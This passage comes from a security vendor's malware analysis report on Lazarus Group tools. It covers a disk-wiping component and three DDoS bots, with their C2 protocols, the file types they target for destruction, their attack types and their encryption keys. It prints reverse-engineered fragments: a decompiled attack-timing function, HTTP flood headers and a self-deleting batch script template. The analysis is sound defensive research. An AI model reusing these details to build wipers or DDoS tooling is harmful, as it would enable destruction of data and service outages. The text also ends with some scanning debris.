After the initial authentication, WhiskeyDelta-Two sends a login transmission to the C2 server. The login datagram contains no payload data, and the type value is set to 0x811. Following the login, WhiskeyDelta-Two transmits a status report to the C2 server that details the current state of the malware's destruction tasks. This status report datagram is 304 bytes in length and contains the information (and structure) defined in Table 5-2.

OFFSET	SIZE	DESCRIPTION
0	4 Bytes [DWORD]	Identifier as defined by the numerical value supplied on the command line when WhiskeyDelta-Two was activated
4	260 Bytes	NULL-terminated string containing the victim's computer name as reported by GetComputerNameA
264	4 Byte	Number of lettered drives found on the victim's system
268	4 Bytes	Unused, possibly used to 8-byte alignment space
272	8 Bytes [ULARGE_INTEGER]	Total free space for all drives
280	4 Bytes	Number of physical drives found on the victim's system
284	4 Bytes	Number of files found on the victim's system
288	4 Bytes	Non-zero if victim's system is Vista or newer
292	4 Bytes	Date and time that WhiskeyDelta-Two was executed (as reported by time function)
296	4 Bytes	Number of seconds from the Administrator rename, page file purge setting change, and MBR Trojan installation
300	4 Bytes	Unused

Table 5-2: WhiskeyDelta-Two's Status Report Structure



The initial report to the C2 server only contains valid data for the identifier field (offset 0), the computer name (offset 4), the number of physical drives (offset 280), and the activation time (offset 292).

The file destruction task (Task 5) for WhiskeyDelta-Two is significantly more involved than that of WhiskeyDelta-One. The first noticeable change is that for each drive that WhiskeyDelta-Two enumerates, a new thread is generated to handle the enumeration and destruction process, after first cataloguing the amount of free space available on the drive (to be later reported in offset 272 of the status report to the C2 server). The enumeration and file selection process is more specific not only in which file extensions are of interest, but also how these specific file types are destroyed. There are three distinct criteria for determining if WhiskeyDelta-Two overwrites a file or not:

I. Does the file have an extension that the author(s) of WhiskeyDelta-Two refer to as a "backup" file (Figure 5-5).

.log	.myi	.db2
.evt	.frm	.db
.bak	.dbf	.pls
.mdf	.arc	.plb
.ldf	.rdo	.pks
.sql	.mdb	.pkb
.myd	.accdb	.pck

Figure 5-5: File Extensions for "Backup" Files Targeted by WhiskeyDelta-Two

- 2. Is the file larger than 4 MB
- 3. Does the file have an extension that the author(s) of WhiskeyDelta-Two refer to as simply "a file" (Figure 5-6).

.php	.docx	.h	.conf	.png
.asp	.xls	.c	.config	.iso
.aspx	.xlsx	.htm	.ini	.cs
.jsp	.ppt	.mht	.avi	
.java	.pptx	.html	.wmv	
.eml	.pdf	.xml	.asf	
.pst	.alz	.txt	.gif	
.gul	.rar	.inc	.swf	
.hwp	.zip	.js	.tif	
.doc	.cpp	.vb	.mpg	

Figure 5-6: File Extensions that WhiskeyDelta-Two Targets for Destruction

If a file is deemed a backup file by WhiskeyDelta-Two, the overwrite function completely overwrites the file with random data. If a file is larger than 4 MB, WhiskeyDelta-Two will perform the same overwrite function that WhiskeyDelta-One performs on files larger than 4 MB, which consists of overwriting the first and last 256 KB of the file with random data. If a file has an extension that WhiskeyDelta-Two classifies as simply "a file," the first 256 KB of the file are overwritten with random data in the same manner that WhiskeyDelta-One would overwrite files with targeted extensions. It should be noted that before any file destruction can occur, WhiskeyDelta-Two generates a 256 KB buffer of random data, unlike WhiskeyDelta-One, which uses whatever data is currently on the heap at the time.

After completing the file destruction task, WhiskeyDelta-Two again reports to the C2 server (though it may randomly

select a different server) with the full set of fields properly set and valid. After completing either the ox7Coo-byte overwrite of the boot sectors (starting at sector 1) (if the victim is running Windows Vista or later) or the complete overwrite of the logical drives and sectors (if the victim is running Windows XP or older), WhiskeyDelta-Two shuts down the victim's computer; thanks to the modified registry entry, this causes Windows to purge the contents of the page file.



6. [DDoS Bot] DeltaAlfa



Observed as part of the Ten Days of Rain campaign as well as being observed being dropped as part of the payload deployed by IndiaGolf, DeltaAlfa is a distributed denial-of-service (DDoS) bot. Unlike the majority of DDoS malware that contact a central C2 server for instruction, DeltaAlfa uses files stored on the victim's hard drive for the list of targets to attack and to indicate the start time of an attack. The names of the target and start time files differ by sample (see Table 6-I) and are installed on the victim's system by the IndiaGolf installer.

START FILE FILENAMES	TARGET FILENAMES
skmsvxd.dat	skinpfu.dat
dasrrvm.dat	doqmcru.dat

Table 6-1: Known Filenames of the Start and Target Files for DeltaAlfa

DeltaAlfa operates as a service DLL supported by svchost. Once activated by svchost, DeltaAlfa begins by decrypting a data blob found within the resource section of its own binary. The data blob consists of strings representing function names for the dynamic API loading functionality as well as key operational strings (e.g., user-agent strings, HTTP request format strings). The encryption scheme for the strings consists of a 7-byte rotating XOR string.

DeltaAlfa dynamically loads a variety of API functions, many of which are not used by DeltaAlfa; this may be indicative of a library that may be found in other, currently unobserved, malware families. DeltaAlfa then verifies the existence of the start file. If the start file is found, the contents of the file are loaded into memory as a **VARIANTTIME** object (effectively a **double** data type) and compared against the current datetime. Prior to the comparison, the current datetime is modified to set the year to 2011, which is an odd conditional modification (see Figure 6-I). If the start file exists and the start time has not passed, DeltaAlfa will sleep for 60 seconds before attempting the check again. If the start time has passed, the start file is deleted by DeltaAlfa which will shortcut the check for future launches of DeltaAlfa.

```
signed int AttackStartTimeCheck()
{
  struct _SYSTEMTIME SystemTime;
  double startTime;
  double now 2011;
  DWORD dwBytesRead;
  HANDLE hFile = CreateFileA("skmsvxd.dat", 0x80000000, 0, 0, 3, 128, 0);
  if (hFile != -1 )
  {
    if ( ReadFile(hFile, &startTime, 8, &dwBytesRead, 0)
        && dwBytesRead == 8 )
    {
      CloseHandle(hFile);
      GetSystemTime(&SystemTime);
      SystemTime.wYear = 2011;
      SystemTimeToVariantTime(&SystemTime, &now_2011);
      if ( now_2011 < startTime)</pre>
        return 0;
    }
    else
    {
      CloseHandle(hFile);
    }
    DeleteFileA("skmsvxd.dat");
  }
  return 1;
}
```

Figure 6-1: DeltaAlfa's Function for Determining if an Attack Should Begin

DeltaAlfa loads the target file into memory then decrypts the contents using a 128-bit key (that varies from sample to sample) before parsing the contents. Once parsed, each target has its own data structure that defines the target, the types of attacks to perform against the target, and the maximum number of attacks to perform (Table 6-2).

OFFSET	SIZE (IN BYTES)	DESCRIPTION
0x000	1 [Boolean]	If set, the record is a viable target (e.g. "enabled")
0x001	32 [NULL-terminated string]	Target's Hostname
0x021	128 [NULL-terminated string]	Target URL (for HTTP attacks)
0x0A1	128 [32 DWORDs]	Resolved IPs for the Target's Hostname
0x121	4 [DWORD]	Number of resolved IPs for the Target's Hostname
0x125	2 [WORD]	Target Port
0x127	1 [Boolean]	Enable DNS Resolver Attack
0x128	1 [Boolean]	Enable UDP Attack
0x129	1 [Boolean]	Enable ICMP (Ping) Attack
0x12A	4 [DWORD]	Maximum number of attacks against target

Table 6-2: DeltaAlfa's Target Information Structure

Before issuing any attacks, DeltaAlfa spawns a continual resolver thread. The continual resolver thread is responsible for refreshing the list of target IP addresses (the array at offset **0x0A1** within the target's information structure) for each target. The continual resolver thread calls the function to refresh the IP addresses for each target once every 60 seconds.

The resolver's refresh function refreshes those targets whose resolved IPs count is set to 0 (as indicated by the value at offset **0x121** in the target's information structure). Every 30 minutes, however, regardless of the number of resolved IPs for a target, the continual resolver thread forces the refresh function to resolve the target's hostname and update the list of IP addresses.

A new attack thread is generated for each target. The attack thread can perform several different attacks as defined in Table 6-3. The DNS Attack is an exclusive attack in that, if specified in the target's information structure, no other attack type is permitted. However, the UDP, ICMP and HTTP attacks can occur against the same target within the same target informational record. Note that not all samples support the DNS, UDP and ICMP attacks, but all observed samples support the HTTP attack.

ΑΤΤΑСК ΤΥΡΕ	DESCRIPTION
DNS Attack	If the Target's Hostname field is non-empty, the hostname is resolved using the DnsQuery API function with a request for all DNS record types to be returned. If the Target's Hostname field is empty, however, all DNS record types for google.com , yahoo.com , naver.com , daum.net , and microsoft.com are requested through the DnsQuery API function.
UDP Attack	A UDP packet containing 1024 bytes of random data is generated and transmitted to the target.
ICMP Attack	An ICMP Echo-reply packet is generated and transmitted via a raw socket to the target. The body of the Echo-reply contains 200 bytes of random data. The identifier and sequence numbers of the packet are sequential (starting at 1) for each packet generated.
HTTP Attack	A burst of 5 HTTP GET requests are made to the Target's Hostname for the Target URL.

Table 6-3: Attack Types of DeltaAlfa

The HTTP attack has the most variety in its appearance when compared to the other DeltaAlfa attack types. The basic structure of the HTTP attack consists of constructing an HTTP GET request manually with the format described in Figure 6-2.

GET <Target's Hostname plus the Target URL> HTTP/1.1 Accept: <Varies> Accept-Language: ko User-Agent: <Varies> Accept-Encoding: gzip, deflate Cache-Control: no-store, must-revalidate Proxy-Connection: Keep-Alive Host: www.<Target's Hostname>

Figure 6-2: DeltaAlfa's HTTP Attack GET Request Structure

The value supplied to the **Accept**: field is randomly selected from one of five hardcoded strings (Figure 6-3). Likewise, the **User-Agent**: field can be one of seven hardcoded strings (Figure 6-4) selected at random. The **"Cache-Control: no-store**, **must-revalidate**" entry is randomly inserted or omitted for each attack iteration.

/

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*

image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*

image/gif, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/ vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Figure 6-3: Possible Accept: Field Values

Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4
Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2)

Figure 6-4: Possible User-Agent: Field Values

7. [DDoS Bot] DeltaBravo



DeltaBravo is a DDoS bot that uses the Winpcap NPF driver in order to generate raw network packets from a victim's machine. Observed being dropped alongside RomeoIndia by IndiaFoxtrot, DeltaBravo is structurally a fairly simplistic DDoS bot that performs a somewhat convoluted handshake between itself and its controlling server in order to receive targeting information.

DeltaBravo, upon activation, operates in one of two modes: *driver installation mode* and *DoS-bot mode*. If called with only a single command line argument, the malware activates in *driver installation mode*. This mode determines if the victim's operating system is 32 or 64-bit and drops the architecture-appropriate WinPcap NPF driver from the DeltaBravo's own PE resource section to the victim's **%SYSDIR%\drivers** directory as **npf.sys**.

If activated with 4 or more command line arguments, DeltaBravo first activates *driver installation mode* before entering *DoS-bot mode* (failure to provide the 4 command line arguments results in DeltaBravo skipping *DoS-bot mode*). The second command line argument supplied to DeltaBravo specifies the address of the C2 server while the third command line argument contains the C2 server's listening port. DeltaBravo begins by determining the victim's MAC address and hard drive serial number which it uses to generate a MD5 hash that represents the victim's unique identifier. This information is transmitted to the C2 server as part of the handshake along with a flag that indicates if the C2 server's IP address exists within the IANA private IP space (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16).

After establishing a connection to the C2 server, the C2 server ultimately transmits a DoS attack command. In order to fulfill the attack request, DeltaBravo activates the WinPcap driver (via **wpcap_adapter_open**) after generating an attack packet. The C2 server sends both the type of packet to generate and the number of times the packet is transmitted. After completing its attack, DeltaBravo will sleep for IOOms before requesting a new attack directive from the C2 server.

If for any reason DeltaBravo exits the communication/attack cycle, the binary generates a suicide script named **msvcrt.bat** using a **wsprintf** statement with the following format string:

wsprintfA(script, ":L1\r\ndel \"%s\"\r\nif exist \"%s\" goto L1\r\ndel \"%s\"\r\n", szBinaryName, szBinaryName, szScriptName);

Figure 7-1: DeltaBravo's Suicide Script Generator

Once generated, DeltaBravo activates the script via a call to **CreateProcess** before terminating.

8. [DDoS Bot] DeltaCharlie



Much like DeltaBravo (see Section 7), DeltaCharlie is a DDoS bot that relies on the Winpcap NPF driver for the generation of raw network packets. Unlike DeltaBravo, however, DeltaCharlie is capable of the following basic instructions:

- Download and execute a binary from the C2 server
- Download a new configuration from the C2 server
- Update its own binary
- Terminate its own process
- Activate a DDoS attack
- Terminate a DDoS attack

DeltaCharlie operates as a svchost-based service (**netplug**). After **ServiceMain** is activated by the operating system and the necessary service framework code has executed, DeltaCharlie determines its exclusivity on the victim's system by looking for the existence of a named mutex with the identifier **Global\NetplugDiscovery0.7**.

The configuration for DeltaCharlie exists within the same directory as the DeltaCharlie binary under the name **netplg.log**. The configuration file is encrypted with RC4 (with the password **InitializeSecurityContextA**). DeltaCharlie must successfully load the configuration in order to operate; a failure to do so results in DeltaCharlie silently terminating.

DeltaCharlie is multithreaded: in addition to the main thread, DeltaCharlie spins up a thread whose only function is the cataloguing of attack information into an unencrypted log file located as **%SYSDIR%\catroot2\edbchk.log**. The log file identifies the number of packets and the rate at which the packets are sent for each attack issued by the C2 server.

DeltaCharlie connects to the C2 server after iterating through the three C2 server addresses in the configuration. DeltaCharlie resolves the C2 server address and then applies an XOR **0x579C3A53** to the resolved address in order to reveal the true C2 server IP address. DeltaCharlie then uses a handshake that consists of generating a 16-byte random buffer and then encrypting the buffer using the DNSCALC-style encoding seen in several other malware families attributed to the Lazarus Group. The buffer is sent to the C2 server, and the C2 server responds by sending back the 16-byte buffer decrypted. If the original random 16-byte buffer matches the 16-bytes returned by the C2 server, then the handshake is successful and communication between the C2 server and DeltaCharlie can commence.

DeltaCharlie then requests the C2 server's current time and calculates the difference, in seconds, between the C2 server's time and its own. If DeltaCharlie has any outstanding commands that it has yet to execute, it transmits the information to the C2 server along with the current attack log (edbchk.log). DeltaCharlie then transmits information about the victim's system (specifically the hard drive's serial number, computer name, and network IP address) to the C2 server.

DeltaCharlie, much like SierraJuliett-MikeOne, uses command files for the transmission of commands from the C2 to the malware. The commands are given unique, incremental ID numbers. In order to keep track of commands that have already been executed, thereby avoiding unnecessary network load on the C2 server, DeltaCharlie transmits the command ID number of the last command it executed. The C2 server, in turn, sends the next command to the malware. The command files are both encrypted and signed. Each command file contains a MD5 hash encrypted using a private RSA key. DeltaCharlie uses the following public key to decrypt the MD5 hash value:.

7B4E1EA7E93F364CDEF4F099C4D9B794A1FFF297D391139DC01202E44CBB6C7748EE6F4B9B53609845A528 658A0BF83973D71A4413B36ABB6144AF3147E787C2AE7AA72C3AD95C2E421AA678FE2CADED393FFAD0AD3 DD9C53D28EF3D67B1E0683F58A01927CC27C9E8D81E7EEE91DD13B347EF571ACAFF9A60E06408AAE292D0

The MD5 hash is located between bytes 4 and 132 of the command file while the MD5 hash relates to the data that follows the 132nd byte. DeltaCharlie calculates the MD5 hash of the data that follows the encrypted MD5 header and compares it to the decrypted MD5 hash value. If the two values are identical, DeltaCharlie determines that the command file is valid. The data that follows the encrypted MD5 header is encrypted with RC4 (using the password **InitializeSecurityContextA**). The entirety of the command file validation is remarkably similar to the method that SierraJuliett-MikeOne employs for verifying its command files.

After decrypting the command file, DeltaCharlie sends the status of the decryption to the C₂ server and then dispatches the appropriate handler for the command type. DeltaCharlie supports six different commands identified in Table 8-1.

COMMAND IDENTIFIER	INTERNAL COMMAND NAME	DESCRIPTION
0	DownExec	Downloads and potentially executes a file
1	ChngBotconfig Alters the current configuration and saves the configuration to disk	
2	BotUpdate Replaces the contents of the current DeltaCharlie binary with a new binary image	
3	BotDie	Terminates the current DeltaCharlie process
4		Starts a new DoS attack by generating a new attack thread.
5		Stops an active DoS attack.

Table 8-1: DeltaCharlie Commands

The DoS attacks that DeltaCharlie can perform consist of NTP attacks, Carrier-Grade NAT (CGN) attacks, and DNS attacks. The kickoff of any attack is followed by a two second sleep interval.

9. Conclusions



The destructive malware within the Lazarus Group's collection ranges from simplistic to moderately advanced in construction and style. However, regardless of the structure and complexity of the code for any particular tool, their operational effectiveness is undeniable. The author(s) behind these destructive malware families have developed a set of tools capable of inflicting significant damage against a target either directly, as in the case of the Whiskey families, or remotely, via the Delta families. This further emphasizes that even a moderately capable adversary with minimal resources is able to perform asymmetric cyberwar against a large target.

0

0

0





0

0

1

0

C.

1

0

McLean, Virginia – Headquarters 7921 Jones Branch Drive 5th Floor McLean, VA 22102 Phone: (571) 282-3000 www.novetta.com

www.OperationBlockbuster.com

0

Ö

0

10